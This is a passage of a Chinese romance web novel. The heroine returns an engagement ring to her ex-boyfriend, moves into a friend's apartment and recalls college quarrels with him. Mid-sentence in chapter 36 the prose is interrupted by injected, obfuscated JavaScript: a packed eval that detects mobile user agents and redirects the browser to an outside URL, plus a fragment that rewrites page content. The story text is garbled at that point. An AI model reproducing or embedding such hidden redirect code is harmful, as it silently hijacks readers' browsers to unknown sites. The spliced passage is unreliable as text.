周测很快回复:今天下午可以吗?四点半,华苑酒店的西餐厅。 陶涓一看,笑了,华苑酒店的西餐厅?这不就是常家馨说的他过年时去相亲的地方? 她回复:好的。 一整天都阴沉沉的,就是不下雨。 华苑酒店也在市中心,步行十几分钟就能到。 陶涓走到西餐厅门口时,一阵凉凉的风带着淡淡水汽吹来,人行道上垂柳枝条乱舞,她拨开缠到身上的一根柳条,忽然间有种似曾相识的感觉,再仔细看看街道和餐厅的彩色玻璃花窗,终于想起,她和周测刚开始约会时他也带她来过这里。 华苑酒店原先是个天主教堂,据说当年花窗斥重金从威尼斯运来,谁能想到原先小礼拜堂的一角会在百年之后变成餐厅? 陶涓感到一种类似荒诞的可笑。 忽然间,她脑子里冒出曹艺萱说的那句话——“爱情是时机”。 再次走进餐厅,她努力回忆,当年和周测在这里约会的情景只有些无关紧要的碎片,只记得餐厅的菜单上印着一圈金色的小天使,有的无聊地趴在云端,有的从云朵间向下偷窥,有几个拿着弓箭追逐嬉戏,一个小天使被躲在背后的同伴捂住眼睛,惊呼的时候手中的箭就这么射出去,不知会射中哪个倒霉蛋的心脏。 她选了个靠窗的座位,要来菜单,果然又见到那群不负责任的小天使,他们蒙着眼睛胡乱射出金箭,被射中心脏的人从此坠入盲目的恋情。 十几分钟后周测才到。 他到之前外面已经开始落雨,他走进来时随手一拢被雨打湿的头发,他自己不觉得有什么,可餐厅里几乎所有女性,无论老少,立时注意到他,目光不由自主跟随。 陶涓早已习以为常,可又突然感到奇怪,她眼里的周测还是英俊,高大,职业也还是顶尖的外科医生,可突然失去了某种光环,或者说……滤镜?他恢复凡夫俗子的身份了。 “你来很久了吗?”周测坐下,看到陶涓面前放了杯白葡萄酒,“我知道很多人说适量摄入葡萄酒对心血管有益,但这不是真的,尤其你现在的状况,还是尽量少喝酒。” 陶涓怔了一下,要是之前,一听周测这么说教她又会感到气闷或者失望,可就在刚才,她发现她再也没有那些情绪了。她暗暗吃惊:哇,我怎么这么宽容? “西柚汁之类的柑橘类果汁也暂时不要喝,会影响药物代谢……” “这个我知道,出院的时候医生说了。”陶涓把自己的酒推向他,“尝一点?” 周测摇摇头,“过年的时候我都没喝酒,怕突然要上手术。”他招呼侍者过来,叫了杯荔枝气泡水,又问她,“你喝什么?和我一样?” 陶涓重新拿起酒杯抿一口,“我就喝我的。” 果不其然,周测一脸不赞同,陶涓再次莫名觉得好笑,又喝口酒,“我不是天天喝,每次喝的量也不多。行了,现在你不是周医生,我也不是你的病人!这里更不是医院!放松点吧。” 周测皱了下眉,但没再和她争执,“对不起,我去看了才知道你房子漏水了……我跟你道歉,那天不该说那些话的。可是——” 陶涓心想,来了。 “可是,你为什么不向我求助呢?去年年底你住院的时候我就说过吧,悠然居的房子你可以随时来住!” 他是真的想不明白这一点,只能推测为顾清泽用了什么手段说服她,或者,一个他更不愿意接受的事实—— “难道说,在你看来,现在顾清泽比我更可靠吗?” 陶涓坦然说:“对啊!你们都是我的男性朋友,至少现在他在北市没相亲对象,我向他求助,当然比向你求助更合适。” 说完,她意味深长笑了,看了看周围,继续笑着问他,“是这里吧?你春节前跟人相亲的地方。” 陶涓没看见常家馨所说的“周测跟人相亲的照片”,但一看他此时的神情就知道常家馨没骗人。 周测一怔,先是疑惑陶涓怎么会知道他来这里相亲,接着急切地解释:“那是我父亲的一位学生,我只是——” 陶涓打断他,“你没必要跟我解释。我也没误会。其实我春节回家前就想跟你说的,你就听雷主任他们的话,去相亲吧。哦,还有,春节的时候我们家也给我安排了相亲对象,是一位比我们高几届的校友,建筑系的,叫楚舰,你认识吗?他人挺不错的,几周前我们在北市又见了一次。” 她心中暗道“对不起了楚舰”,但她说的也都是事实。 周测更加吃惊。 他忽然觉得餐厅的音乐有点太吵,大提琴的声音弄得他耳朵嗡嗡乱响,他花了点时间才弄明白陶涓话里的意思,可仍然不愿意相信。 他看向她,想从她脸上看出些端倪,却失望地看到她像要跟他确认似的点了点头,“对,我也去相亲了。我很早就想跟你说了,但一直没找到合适的机会。刚分手那年,我家里出了事——你也知道的,我大舅受了很大打击,不是因为被骗,是因为骗他的是他多年的朋友、从前的战友,我工作上也不顺利,方舟高层大内斗,之前一直带我的方姐被牵连,我们整个部门重组……那段时间我实在没心思也没精力再跟你谈话——” 她从包里取出一只戒指盒,放到他面前,“这个,我不能再替你保管了。我早就已经向前走了,希望你也尽快找到自己的幸福。”说完,她便起身离开。 走出餐厅,陶涓呼了口气,幸好,周测还是周测,没做出追逐拉扯之类的狗血事。 但她还是不顾细雨快速走了几步才撑开雨伞。 孟春时节细雨其实很美,空气中混杂泥土尘埃和草木花叶的清气,还有车辆行人的喧嚣,形成一种奇异的气息,让她有种无来由的期待感,仿佛在期待即将到来的夏季,又好像不止是在期待夏季。 陶涓走后不知过了多久,侍者才给周测端上他要的那杯气泡水。 气泡水里加了冰块,他喝下去后立刻胃痛,像被打了一拳后蜷缩起来。 他轻轻按一下蓝丝绒盒子的按钮,那枚钻戒在灯下闪闪发光,像一滴晶莹的泪滴。 当初选戒指前他悄悄问过曹艺萱的意见,陶涓喜欢什么样的戒指? 曹艺萱回答:朴素无华但是厚实的18K金素圈。 他笑:那不是老奶奶们喜欢那种吗? 曹艺萱又想想:实在非要钻戒,那就要绿宝石切割的纯净白钻,还有,陶涓手指很细,所以石头不要太大,最多70分就好。 可他最终买了一枚一克拉全美切割圆钻,四爪镶嵌,白金戒圈。 因为从小到大,他看过的电影电视里,似乎钻戒都是这样的。 他合上盒盖,紧紧攥在手里,攥得手心微微发痛。 周测终于想到,他凭什么无来由地觉着陶涓终究会和他在一起呢? 这自信究竟从何而来? 他连求婚戒指都是按自己的喜好选的。可戴戒指的人却是她。 陶涓经过便利店时买了一堆能下酒的零食和两罐啤酒,回到酒店后,顾清泽正在厨房跟着厨师忙活,餐桌上放着两个热气腾腾的菜,一盘西芹百合炒干丝,一碗菠萝咕咾肉肉。 她凑到厨台前看,他在厨师指点下正在做的是鸡丝玉米羹。 “哇,你真是越来越贤惠了!”她拍拍他后背。 顾清泽转过头冷脸哼了一声,“约会回来了?” 陶涓呵呵一笑,走去客厅,在沙发上瘫了一会儿,顾清泽站在客厅门口叫她,“吃饭吧?还是你在外面已经吃过了?吃饱了?” 她闻见饭菜香味,顿感饥肠辘辘,对他的阴阳怪气视若无睹,跳起来跑去厨房。 他甚至已经盛好了汤饭,筷子汤匙也摆得美美。 陶涓坐下先尝了尝汤,“味道正好!玉米的鲜甜和鸡丝的香味相得益彰,火候也刚刚好。”再夹一块咕咾肉,一尝,酸甜正好,这下真有些惊讶了,“……这也是你做的?” 顾清泽在她夸汤好喝时就崩不住一张冷脸了,这时更是笑得掩饰不住得意,“是啊!好不好吃?” “好吃!我都不太相信,连这么高难度的菜式你也能做得这么好了?!唉,你真是被耽误了,不然高低能当上个米其林餐厅主厨。”陶涓又夹了一块表示自己所言非虚,“真的好吃。” 顾清泽有点心虚了,这个菜他主要负责打下手,不过,最后出锅那一步是他完成的,那怎么不算是他做的呢? 他决定趁陶涓去太平上班时再叫主厨教教他。 吃完饭,陶涓拿出零食和啤酒,“来点不健康的guilty pleasure!” 雨又下得大了些,雨夜的天空黑得和平时不同,仰望过去,像有点点碎钻从黑纱中不断坠落,坐在露台的落地窗前,听着沙沙雨声,隐入暮色灯光的人声,无端让人有些惆怅。 陶涓喝了口啤酒,皱皱眉,不知道是不是拎回来之后忘了放进冰箱,还是这个牌子的啤酒就这味道,她觉得今天的啤酒更苦涩, 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其他人都说“那快去吧”“没关系”,就连讨厌鬼计英彦也没多嘴,只有顾清泽,横眉立目冷笑:“你也得奖了,你也在庆祝,为什么他不来这儿露个面?” 气氛一下子变得尴尬,幸好两个大四的学姐打圆场,催陶涓快去快回。 陶涓离开几小时,赶回来时小组成员早就吃饱喝足,转战KTV唱歌。 忘了是谁提出玩游戏的,甚至玩的什么游戏也想不起来了,总之,她和顾清泽碰上,玩游戏输了,她愿赌服输,乖乖等他弹脑蹦做惩罚,她笑盈盈的仰头看着他,万万没想到,他狠狠弹了她一下,“嘣”的一声脆响,所有人惊呆,连正在唱歌的都愣住,房间里只剩下正在播放的MV伴奏。 陶涓更是懵了,捂住火辣辣的脑门,连着嘶嘶几声才对他嚷嚷:“你神经病啊顾清泽!玩个游戏呀!至于吗?” 没想到顾清泽两眼发红,但又亮的吓人,他看起来又生气,又委屈。他没跟陶涓道歉,反而站起来拉开门扬长而去。 包间一时冷场,打破沉默的还是计英彦,“哎呀,顾清泽走了待会儿谁结账啊?” 一个女生拿纸巾包了冰块敷在陶涓脑门上,“哦哟,红了一圈。” 何止红了一圈,隔天早上陶涓起床后,发现脑门上一个青紫的圆圈,只能跟舍友借遮瑕膏盖上。 顾清泽后来每次想起这事就后悔。 简直蠢笨如猪。恶劣如猪。幼稚如猪。他办的这是什么混蛋事? 这个样子谁会喜欢他啊?受虐狂? 啊…… 现在想起来又恨不得抽自己几耳光。 可是又怕她追问:哎?你这是干什么? 顾清泽捂着脸垂下头,声如蚊蚋,“年少傻哔,你忘了这事,行么……” 陶涓这会儿想起来只觉得搞笑,她呵呵笑了几声,拉开顾清泽捂脸的手,“你这羞涩的少女姿态是怎么回事?谁说你傻哔了?挺可爱的!” “这还可爱?在你这儿可爱跟混蛋是同义词?我是个可爱的傻哔吧?唉……”顾清泽双颊更烫,眼神不自觉闪躲,不敢和她对视,“你怎么会愿意原谅我呢?” 陶涓笑了,“因为我知道你是生气了,但是你对我没恶意。” 当年关上饭店包间门后,她并没立刻就走。 顾清泽的话让她反思:对啊,为什么同样是获得荣誉,周测可以理直气壮要求她陪在他身边,而她却从没这么想过。无论是获得MTI大赛冠军还是这次小组项目打败全国十几支其他高校的队伍拔得头筹,周测从来没想过为她庆祝。 这时,一门之隔顾清泽愤愤不平说:“我就是不喜欢她这种谄媚的样子!周测到底有多了不起啊?值得她这样吗?我是为她不值!” 顾清泽听到陶涓的话,肚里像有什么东西打了个死结,更难受了。 她还觉得他是在为她出头,其实,他心知肚明,自己是被嫉妒冲昏了头。 可是,有一点没有变,他一向笃定,她值得更好的人。 那个人也许不比周测更英俊漂亮,更聪明——也不一定非得是他,但那个人一定要对她非常非常好,时时为她骄傲,常常送给她花,没有什么理由,也不是什么节日,就是想要送给她。 除了花,还有其他在别人眼里也许没什么价值但会让她很开心的东西,比如暮春夜晚高台危楼上的风和夜色,晚饭后铺着红砖的老旧街区的烟火喧闹……都要给她。 他一面有些自惭形秽,一面又忍不住问出盘旋在心里多年的疑问:“我一直好奇,你怎么会……选中周测和他交往的?” 那时明明也有其他男孩子追求她。就算她把他当成小朋友,小弟弟,从没放在交往对象的范围里,那其他人呢? 陶涓立刻给出答案:“因为我年少浅薄。被美色所惑。” 这问题她和曹艺萱复盘过好多次了。怎么办?姐俩都是颜狗。就是喜欢漂亮男人,就连漂亮女人也觉得“啊好可爱呀想贴贴”…… 更理智的分析也不会有什么更好的解释,她和周测的开始可能只是一个小概率事件诱发,就像被不负责的金箭射中心脏的阿波罗,像掉进兔子洞的爱丽丝,掉进去后,一直纠缠着周测,在他身上寻找他没法给她的东西。越是期待,越是得不到,越是失望,越是不甘放弃。 之前她还暗中怜悯申悦明对周测有滤镜,没有祛魅,真是五十步笑一百步。 陶涓喝了口啤酒,苦涩的味道让她五官皱成一团,“啧,爱情里,最可怕的就是期望。” 这口苦涩的酒下肚之后渐渐有了回甘,她笑着大力拍一下顾清泽的后背,“放心,我以后再也不会见色忘友,再也不会被美色迷昏头了!” 顾清泽看着她,也喝一口啤酒,苦涩的味道从舌尖一直蔓延到心口。 36.搬新家 陶涓后来觉得,把戒指还给周测后,自己放下的可能不止是一段注定不可能实现的期待,还有别的什么,她明显感到轻松了许多。 很快到了周末,顾清泽帮她搬家。 借给她的公寓和太平大厦隔着一个小公园,上班只要步行十几分钟穿过公园就行。 陶涓换了新电脑之后决定每周三固定到太平办公,顺便备份,以防万一。 陆扬搞出的这场意外给她提了个醒,有备无患是多么重要。 在短短几周里连续搬了三次,陶涓的搬家经验狂涨,这次又有搬家公司帮忙,倒不觉得累。 只是顾清泽这公寓走的是极简风格,不管是家具还是装饰,都让她有种住在太空舱或者高级医院的感觉。 当然,这话她肯定不会跟他说。 不过,顾清泽看出来了。 不管陶涓在滨市的家还是在北市的家,沙发、座椅大多是布面,放很多彩色的软垫子,还有小毯子,每个房间至少有一棵绿植,厨房和浴室也不例外,工作台、书柜、墙面都有她收集的小装饰品和摆件。 他帮她拍松抱枕,“你这些东西——”他随手指指,“都是什么时候买的?在哪儿买的?”没有统一风格,但放在一起又很和谐,很陶涓,让原本有种冰冷感的空间很快变成充满她个人色彩的。 她讲故事似的挨个讲它们是打哪儿来的,拍一拍一只羽毛枕头,“这个枕头套,还是我姥姥绣的,我上大学的时候从家背来的!我现在都不舍得当枕头,只套抱枕,靠在沙发上的时候抱一抱。”她说着,把脸埋在枕头上蹭了蹭。 至于封在相框里的一片红叶,是几年前在香山捡的,挂在墙上,就是独一无二的一幅画;染色的草编扇子是去泰国旅游买的,挂上墙后好像夏天马上就要来。 顾清泽不由有点羡慕,陶涓不管住在哪里,都能把那个地方变成自己的家。 他正相反。他有很多房产,但没有自己的家。 她似乎是看出他在想什么,“你随时可以从酒店搬出来,开始一个自己的家。我可以教你——要是你想……” “我想。”他怕她后悔,立刻要求,“教我!”然后又正儿八经地重复一遍,“请你教我吧。” 陶涓噗嗤一下笑了,用力拍他肩膀,“搞这么郑重干什么?这又不是什么有价值的算法之类的……” 她是真的为他开心,他已经不是小孩儿了,可有时候她又会感到他还没完全长大,像少了块拼图。 什么样的大人会把酒店当家呢? 略一收拾,她叫他一起去超市,“今天晚上在新家吃!燎锅底!” 到了超市,她买了新鲜蔬菜肉类,又走去鲜花货架,很惊喜地发现有芍药,带着宠爱和倾慕把每一束芍药看了一遍,忽然有点遗憾,“曹艺萱最喜欢芍药,可惜她还没回来,不然给她也买一束。” 顾清泽提醒她:“你可以上网订一束寄给她,从这些花的产地空运去她那里还更近呢。” “对啊!我怎么没想到。唉,这几年当牛马当的,浑浑噩噩,毫无生活情趣。”她立即掏手机订花。 顾清泽偷偷看陶涓,她就是这样,对每个朋友都非常用心。 她订完花,收起手机,小心翼翼选了一束花递到他面前,“好看吗?” “好看。”他不由自主笑着接过花。 顾清泽今天穿一套米灰色西服,薄薄的丝毛混纺春季料子,敞着怀,配了件淡蓝色衬衫,那蓝色淡到不细看几乎会误以为是白色,这时捧着粉色的芍药花,真有种风流公子初换春装的绮丽。 陶涓不觉流露笑意,声音也无来由地放低,“你喜欢吗?” 他由衷答道,“喜欢。” 她笑得更开心了,“这束是我送给你的。待会儿你带回去插瓶。”她又挑一束芍药放进购物车,“这束是我的。” 顾清泽惊讶地愣在原地几秒钟,才赶快跟上,“送我?” 原来,他也有吗? “嗯。教学已经开始了小朋友!”她笑着解释,语气却又有几分认真,“第一课,找到自己喜欢的东西。花,床单,台灯,闹钟,盘碗杯子……不要管跟现在的配不配套,你以前一直用的是什么,就挑你喜欢的!” 直到回到家,顾清泽心里还有未消退的余震。 他时不时看看她送给他那束花,不怎么敢一直握着,怕手温把花捂坏了。 新家并没有花瓶,陶涓找出一个很大的玻璃沙拉盆,在盆□□错贴了几根胶带,花插在胶带构成的格子里,往厨房岛台上一放,原本像无菌实验室感觉的厨房立即有生气盎然。 送给顾清泽那束,撕开包装后她打开煤气炉,在火上灼烧花茎切口—— “啊——”顾清泽大惊,“这——” “放心!”烧了几秒钟,她把它们重新包好放进冰箱,“这样花就能活得更久了。” 至此顾清泽已经目眩神迷,看陶涓就像看魔术师,“你怎么懂这么多东西?” 陶涓脸上突然发热,低头拆开一包菜心,“学呀!你不是也跟厨师学会做饭了?” 这个家从未住过人,家电倒是齐全,两人合作很快做好两菜一汤,慢慢吃饭。 吃饭的时候聊到怎么选家具,陶涓说自己在这一点上也处于探索阶段,“小时候的家具——床、桌椅、柜子基本都是家里人选好的,到了大学住宿舍就不说了,后来租房子,大件家具都是房东提供的……” 她顿一顿,悠然居是周测的家,家具是周院长和雷主任选的,她没有置喙余地,张阿姨家的大件家具是她为儿子上世纪末买的,结实笨重的特点和她在滨市的家有些像,她就习惯地用了,所以,她也没太多经验。 “可以先从小家具开始,选个你喜欢的床头柜,配上你喜欢的台灯……”她闭上眼睛想象,“然后再慢慢挑你喜欢的床、衣柜、书桌、沙发……哦,我的书桌是自己买的……” “你喜欢什么样的床?”顾清泽脱口而出,话一出口又立即觉得自己问得唐突。 但陶涓并没觉得异样,她还挺激动,“对!床!一个家里最重要的家具就是床!一定要多看,多想,谋定而后动,不然要扔也是麻烦。我先前喜欢雕花铜床,但是到宜家试了试他们的铁艺床才发现,那床靠着不舒服,冬天碰一下就很冷……” 她若有所思,有时候以为自己喜欢的,试过之后并不喜欢,甚至难以忍受,一张床尚且如此,何况是人。 顾清泽先庆幸陶涓没反感他的问题,这时又忽然觉得,这是不是也说明,她对他绝无其他心思?还是把他当小孩儿看待? 任何一个年轻男人问一个女人喜欢什么样的床,都会被对方解读出挑逗的意味。 但是陶涓对他不会这样。 他郁闷了一下,马上又劝自己不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322995|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要患得患失,要好好珍惜他们相处的时间,何况,她是在认真分享她的生活经验。 这些琐碎的事在别人看来无关紧要,可对他而言非常珍贵,这是全是他们分离之后她独自获得的经验。听她讲这些,就像他重获一个窥见她那些年生活的机会。 吃到一半,顾清泽决定了,“我下周不住酒店了。我要自己住。” 陶涓为他鼓掌,“好啊!你打算住哪儿?”最好别住那套loft公寓,太大了,作为新手挑战可能对他难度太高。 顾清泽指一下大门的方向,“对面那间。” “啧,可恶的有钱人!”陶涓笑,“那好呀,我们做邻居。” 来看房时她就看出来,这房子原本是一梯一户。是在电梯厅开了一南一北两个门,大约是将原本的客厅加了堵墙分隔成了两户。 吃完饭,顾清泽拉开洗碗机,发现机器里的塑料泡沫还没拆掉,他拿起说明书翻阅,陶涓正在擦桌子,看了一眼说,“也就几个碗盘,我手洗得了。” 顾清泽端走盘碗,“我来洗!”他提醒自己,待会儿要告诉公寓管家明天把洗碗机装好。 他不太熟练地取下抽拉式龙头,先冲洗碗盘,再去压洗洁精。 陶涓一错眼没看到,再一看,哎呀,完了,碗碟又在泡泡浴了。 她走近,刚要指点,顾清泽手里的龙头“噗呲”喷出一股强劲水流,他急忙躲闪,松开水龙头,可已经被淋了一身水。 “那是高压按钮!”陶涓大笑,唉,少爷还是家务活干得太少啊,她大步走过去,丢给他一条茶巾,“快擦擦脸,浴室有毛巾……” 他那件浅到不能更浅的淡蓝色衬衫被水溅到的地方顿时变成了半透明的,陶涓这时才注意到布料上隐藏着一朵朵比指甲盖还小的云,蓝色全部聚集在勾勒云朵的线条上,云朵本身和云与云之间现在是一种肉色。 她怔了怔,忽然意识到,那是衬衫下他肌肤的颜色。 忽然间像有一团绒毛球卡在她嗓子眼,痒得让她连声咳嗽,心脏也开始不规律地颤动。 “你怎么了?”顾清泽看到陶涓不停咳嗽,还用左手按着胸口,急忙走到她跟前,“哪里不舒服?” 陶涓侧过脸摇了摇头。 嗓子里那股怪异的痒消失了,可鼻子又痒起来,像被小猫的尾巴轻轻扫了一下,想要打喷嚏又打不出来,有什么酸胀的东西充塞在鼻腔里。 顾清泽忽然用茶巾擦了擦她头顶,有点不好意思地笑,“泡沫落你头上了。” 陶涓本来也想笑,可一看他,立时有种不知该往哪儿看的无措。被水浸湿的衬衫紧紧贴在他身上,隔着一层薄薄的布料,肌肉的形状清晰可见,线条随着他的手臂动作绷紧……她不敢再看,说了句“我去拿毛巾!”转身走去浴室,几乎要小跑起来。 陶涓靠在浴室门后,眼睛是闭上了,可是眼前还是半透明的湿衣贴在胸肌腹肌上的画面。 她缓缓呼吸几次睁开眼睛,看到镜子里的自己双颊和耳朵红彤彤的。 心中颠三倒四地默念了几句“色即是空……一切有法为,如梦幻泡影,如露又如电……” 总算略为平静,她拿了浴巾出来,递给他,又去关上中央空调,“别着凉了。” 过了一会儿她就催他走,“还是快点回去换衣服吧,正换季的时候,千万别感冒了。哦,别忘了你的花。” 37.傲娇成怒 陶涓催促顾清泽快点回家换掉试衣服,他并没察觉任何异样。 她一向是这样,细心,又很照顾人。 他开心地带着她送他的花回酒店,请酒店管家帮他插好,又跟人家请教插花养护的方法,还有哪些花适合插瓶,他又挑了几个漂亮的花瓶打算明天送给陶涓——既然她可以没有什么特别的理由就送给他花,那他从此之后就能随时送花给她,再也不需要特意找借口。 粉色芍药花蕾在台灯的灯光下有种丝绸般的质感,散发淡淡幽香,其中一朵已经迫不及待绽开花苞,他忍不住用手指背反复蹭这花朵,又忍不住将它从花瓶中取出,握在手里仔细观看,再闭上眼睛放在鼻尖细嗅,最后,捻动花枝,让花瓣在脸上旋转轻扫,情不自禁将一片花瓣含在双唇间…… 忽然间他意识到自己的行为怪异,轻轻笑着把花朵拿回眼前—— “哎呀!”他懊恼,芍药花的花瓣可比玫瑰花瓣柔嫩很多,花瓣上留下一个清晰的牙印,渗出花汁。 顾清泽赶紧把花重新放回花瓶,又呆呆看了一会儿微笑着去睡了。 陶涓也在灯下看芍药。 她也用手背轻轻抚摸感受花朵的质感,也凑在花蕾前细细闻它的香气,但仅此而已。 她看着粉红色的花,脑海不断闪现顾清泽抱着花束的样子,接着又想起他湿淋淋的衬衫和湿衣下若隐若现的肌肉。 陶涓懊恼地叹口气躺到床上,羞愧地闭上眼睛,恨恨地敲了几下床。 前几天她还跟顾清泽保证自己再也不会见色忘友、再也不会被美色迷昏头,结果可好,她依旧还是那个老色胚,放下了周测,转头把色眯眯的眼神投向了从前被她重色轻友的“友”。 唉。 造孽啊…… 天地可鉴。在她心里顾清泽一直是朋友,是学弟,是竞争对手,反正从来不是这种…… 顾清泽对她应该也是一样的。 在大学那一年,他铆足了劲要跟她较量。似乎是想延续在波士顿对战的状态,他选了所有能和她一起上的课,参加她参加的所有小组活动和项目,还打破了她创造的几项记录…… 在他心里,她可能是他要追赶、超越的前辈,是位可敬的对手、战友,非常信任的朋友…… 要是顾清泽知道她这些乱七八糟的想法会作何感想?惊讶?失望? 那句老话怎么说?我把你当朋友,你却想X我? 陶涓在黑暗中捂脸。 她突然想起,去年冬天,就是去方舟讨薪那天早上,她曾做过一个关于顾清泽的梦。 梦到刚刚二十岁的她和顾清泽站上领奖台,欢呼,拥抱,正高兴得不得了,却发现她和他不知怎么站在酒店的天台泳池里…… 她蜷起身体抱头呻|吟。 要命。那时候的顾清泽才十六岁吧?还是未成年! 正反复批斗自己的时候,曹艺萱来电,想知道陶涓这次搬家是否顺利。 陶涓干脆转视频,开了灯给她room tour一圈,聊了几句后又为她担心,陆扬迟早会知道曹艺萱这次是认真要跟他分手,而且已经有新恋情了,天晓得到时这疯子会怎么闹腾。 “说实话吗?我现在一点都不在乎!也不担心,不管谁,怎么闹,什么代价——都是值得的!”曹艺萱一点不担心,说话时脸颊绯红,双眼中有一汪春水荡漾,明明五官没变,却硬是比平时又美了几分。 陶涓为她开心,虽然娱乐圈里恋情很难维持,但这时候谁要去想将来会怎么收场? 曹艺萱看到厨房里的芍药花,连呼好看,陶涓这才想起,“哦,我给你也买了一束,不过是在网上订的,可能明天就会到。” “谢了谢了!”曹艺萱开心,然后又惆怅起来,“唉,再过两天我就能杀青了。” 原本盼着快点杀青,现在有了喜欢的人,又盼着这部戏最好能再拍几个月。 她是配角,杀青后没有理由再留在剧组,不然恋情肯定会曝光,刚陷入热恋就要两地分离,有多煎熬? 陶涓安慰几句,又为她担忧,“你要不先住我这一阵吧?跟陆扬说清楚了再回家。” 曹艺萱先是笑,又怪声怪气问:“我是愿意啊,但是顾公子不会觉得我是个大电灯泡吗?” “你别乱讲,我跟你说过几次了,我们之间是纯洁的革命友谊,就像潘妮和谢耳朵。” 陶涓嘴里这么说着,却把手机摄像头转向一边,假装给她展示厨房。 她没敢直视曹艺萱,有那么一点点心虚。 “切——除非你是女同他是基友,男女之间哪里可能有纯洁的友谊?”曹艺萱从第一次在火车上看到顾清泽时就不信,“纯友情?人家一个霸道总裁巴巴地跑去你的卧铺给你拎行李?” “那也没法律规定总裁不能有朋友不能有义气吧?一个铁子帮他生病又瘦弱的铁子拎行李箱,这不是很正常吗?” 曹艺萱摇头,“反正我觉得他看你的眼神不对。太过深情了!” “你们娱乐圈里不有一句很著名的话,长得好看的人看狗都深情?”陶涓走回卧室,往床上一躺,“你带着先入之见,想太多了!” 曹艺萱哈哈一笑,“也有道理,顾总裁气场冷冰冰的,生人勿进,却长了一双桃花眼,只要有那么点微笑的意思就显得深情。不过,我还是坚持我的直觉没错,他绝对是对你有意思!” “唉呀!意思、意思——”陶涓不耐烦,“有个毛意思!真没有!你怎么不信我呢?” “我信你,我是不信他!”曹艺萱还是笑呵呵的,“除非他亲口说过他没那个意思。” 陶涓愣住,呼了口气,“他还真说过。” 曹艺萱本来瘫在沙发上,猛地坐直,“啊?他真说过吗?什么时候说的?怎么说的?” 顾清泽真的说过。 大学时候说的。 至于怎么说的……陶涓想起这事就尴尬,不仅不想跟曹艺萱细说,她自己都想把这段记忆删除了。 也记不太清是哪一次,这少爷又突然间对她阴阳怪气的,前一天还好好的,第二天课堂上小组讨论,不管她说什么他都要反驳,争论了几次她也来了火气,两人针锋相对,声音渐渐提高,同组的同学个个不敢吱声,老师也在讲台上愣住。 下课后两个室友半开玩笑跟她说,“小少爷跟你的CP必须加个相爱相杀tag!” 陶涓这才知道竟然还有人嗑她和顾清泽的CP,“我去,你们也太饥不择食了吧?何况我有男朋友了!” 室友们一副“我只管嗑我的才不管你死活”的吊样,一个说:“这你就不懂了吧?就是这个味儿才对呢!” 另一个没心没肺地笑,“你没发现吗?每次你跟周测出去约会,隔天少爷必然会对你黑脸,有时候你提句周测,他就一副要发疯的样子。” 傍晚她跟周测在食堂偶遇顾清泽,这孩子拧着脖子冷哼一声假装没看到他们。 饭吃到一半,陶涓犹豫着问周测,“你觉得,顾清泽他……” “嗯?”周测夹起一块红烧茄子,微微不耐烦,“他又怎么了?” “他是不是喜欢我啊?” 周测筷子夹的茄子掉到桌上,他半张着嘴愣了愣,放下筷子捂脸笑,声音从指缝里传出来:“陶涓,你听听你自己在说什么?” 陶涓气闷,“这有什么好笑的?我年轻貌美,聪明能干,喜欢上我很不可思议吗?” 周测脸都红了,连连摇头,“抱歉——” 他又笑了,像是实在觉得太好笑,忍不住,“你和顾清泽,就像潘妮和谢尔顿,单拎出来都漂亮可爱,但是,不匹配,明白吗?” “什么意思?”陶涓隐约感到被冒犯,语气里不自觉就带点挑衅,“他确实很喜欢和我在一起啊,为什么他不能喜欢我?” “喜欢?他懂什么叫喜欢吗?他还是个小男孩,并且是个娇生惯养的小男孩,大学可不是寄宿学校,你是他在这里认识的第一个人,一直照顾他,他对你有雏鸟情结很正常,但是,就像雏鸟情结实验中跟着鸡妈妈的小鸭子,他和你、和我们不是一类人,他最终会回到水塘里,也许还会飞去南方过冬……” 周测轻轻笑了一声,“雏鸟情结不是喜欢。你只是他应对陌生环境不安全感的工具人罢了。哦,说工具人可能有点过了,他的确把你当朋友,就像谢尔顿依赖潘 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陶涓递给他纸巾,他没接,捂着脸冲出实验室往卫生间跑。 她跟到卫生间门口,听到他一边剧烈咳嗽一边洗脸。 后来他告诉她,酸梅汤带着几粒小碎冰蹿到鼻腔里,难受极了,鼻子像被打了一拳又酸又疼。 这种反应,她的问题答案如何还用再问吗? 两人并排靠墙坐在实验室后面放器材的旧桌子上,顾清泽被呛得太惨了,平静下来后脸还是红红的,“你干嘛捉弄我?” 陶涓不敢看他,假装玩手机,其实屏幕上什么都没看清,“有人说我是你对抗陌生环境不安全感的工具人。我觉得,我和你至少是潘妮和谢尔顿吧?” 隔了半晌,顾清泽没出声。 陶涓侧过头,人家小少爷要笑不笑,斜着眼睛,右眉挑高:“周测说的?” “嗯。” 他冷笑,“对。我对你没那种意思。” 陶涓忽然觉得好笑,“喂,没有你就别再这样——” “怎样?” “这样——”陶涓学他皱眉冷脸,“每次一提周测你就这样!怎么了?你是在吃醋吗?”她是半开玩笑说出来的,“你要是真对我没那种意思,以后就别这样了,惹得大家看笑话……” 她话还没说完,顾清泽突然暴怒,气得太阳穴青筋都爆出来了,他跳起来就走,走到实验室门口猛一回头,对着她大吼:“我不喜欢你!最不喜欢你!从来没喜欢过你!以后别再问我是不是喜欢你!” 最绝的是两个同学正好走到实验室门口,此时进也不是,走也不是,尴尬地和陶涓六目相对。 这次是顾清泽闹别扭最长的一次。 他接连几周上课也不理陶涓,直到期末停课复习时。 有天晚上她在图书馆学到半夜趴在桌上睡着了,醒来后揉揉眼睛继续复习,看了几页书才忽然发觉旁边坐的人不知什么时候换了。 顾清泽这别扭小孩,不知付出什么代价在期末复习的高峰跟人换到一个座位,坐在她旁边,又假装不知道旁边是她,埋头做题,笔在纸上沙沙作响,快冒出火星子了。 陶涓气笑了,戳他肋骨一下,“喂!” 他本能一缩,自动铅笔芯咔啪一声断在纸上,扭过头讪讪对她笑。 她可没打算就这么放过他,“有没有什么想说的?” 